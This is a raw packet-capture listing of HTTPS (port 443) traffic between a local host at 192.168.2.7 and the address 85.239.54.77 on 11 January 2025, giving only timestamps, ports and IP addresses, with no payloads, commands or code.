Jan 11, 2025 09:26:47.030136108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.030143023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.030168056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.030184031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.090779066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.090801954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.090935946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.090946913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.090989113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.118299007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.118321896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.118443966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.118458033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.118499994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.118633986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.118649006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.118699074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.118705988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.118743896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.119721889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.119782925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.119817019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.119847059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.119847059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.119934082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.119954109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.119999886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.120028973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.120033026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.120064020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.120083094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.120404005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.120455027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.120484114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.120487928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.120544910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.120556116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.121249914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.121289968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.121339083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.121344090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.121371984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.121403933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.121660948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.121709108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.121738911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.121743917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.121771097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.121788979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.176485062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.176515102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.176660061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.176671028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.176690102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.176724911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.201416016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.201436043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.201596022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.201602936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.201670885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.201975107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.202033043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.202049017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.202054024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.202104092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.202122927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.205082893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.205125093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.205172062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.205176115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.205212116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.205235004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.205781937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.205822945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.205868006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.205872059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.205894947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.205916882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.206192017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.206233978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.206255913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.206259966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.206281900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.206302881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.206661940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.206711054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.206760883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.206764936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.206789017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.206793070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.207081079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.207122087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.207144022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.207149982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.207166910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.207189083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.240325928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.263425112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.263436079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.263726950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.263735056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.263771057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.288079023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.288100004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.288258076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.288266897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.288304090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.288696051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.288712978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.288763046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.288768053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.288800001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.291719913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.291738033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.291821957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.291826963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.291865110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.292287111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.292300940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.292342901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.292347908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.292365074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.292378902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.292865992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.292881966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.292936087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.292941093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.292992115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.293376923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.293394089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.293428898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.293433905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.293459892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.293476105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.293812990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.293829918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.293869019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.293872118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.293900013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.293912888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.350167990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.350189924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.350306988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.350316048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.350356102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.374953985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.374979973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.375092983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.375098944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.375152111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.375567913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.375588894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.375633955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.375638962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.375670910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.375677109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.378607035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.378633976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.378679991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.378684044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.378700972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.378720045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.382222891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.382250071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.382277012 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.382281065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.382303953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.382318020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.382703066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.382735968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.382767916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.382771969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.382787943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.382802963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.383025885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.383052111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.383076906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.383081913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.383101940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.383119106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.383533001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.383569956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.383589029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.383595943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.383616924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.383635998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.437082052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.437134027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.437257051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.437288046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.437304020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.437333107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.461666107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.461687088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.461796999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.461810112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.461846113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.462323904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.462341070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.462399960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.462408066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.462445974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.465351105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.465372086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.465432882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.465440035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.465480089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.468930006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.468947887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469024897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.469029903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469074965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.469427109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469443083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469501019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.469506025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469543934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.469868898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469886065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469938040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.469943047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.469976902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.470344067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.470360041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.470412970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.470417976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.470449924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.523864985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.523912907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.523986101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.523996115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.524013042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.524032116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.548724890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.548772097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.548862934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.548868895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.548887014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.548914909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.549180984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.549226999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.549243927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.549248934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.549272060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.549292088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.552283049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.552350044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.552359104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.552364111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.552408934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.555871010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.555912018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.555943966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.555948973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.555986881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.556365967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.556405067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.556444883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.556449890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.556474924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.556492090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.556570053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.556613922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.556632042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.556637049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.556664944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.556672096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.557126999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.557168961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.557193995 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.557198048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.557219028 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.557249069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.610641003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.610666990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.610702038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.610709906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.610733986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.610759020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.635870934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.635900974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.635957003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.635963917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.636002064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.636312008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.636331081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.636362076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.636368990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.636384964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.636405945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.638966084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.638987064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.639035940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.639039993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.639059067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.639077902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.642579079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.642601967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.642640114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.642644882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.642678022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.642926931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.642951012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.642976999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.642982006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.643018961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.643027067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.643347979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.643364906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.643397093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.643403053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.643431902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.643451929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.643893957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.643923044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.643965006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.643970013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.644054890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.697566986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.697598934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.697642088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.697652102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.697681904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.697705984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.722594976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.722625971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.722719908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.722726107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.722771883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.723001957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.723025084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.723062992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.723073959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.723088980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.723114014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.726022959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.726039886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.726092100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:47.726097107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:47.726134062 CET	49941	443	192.168.2.7	85.239.54.77
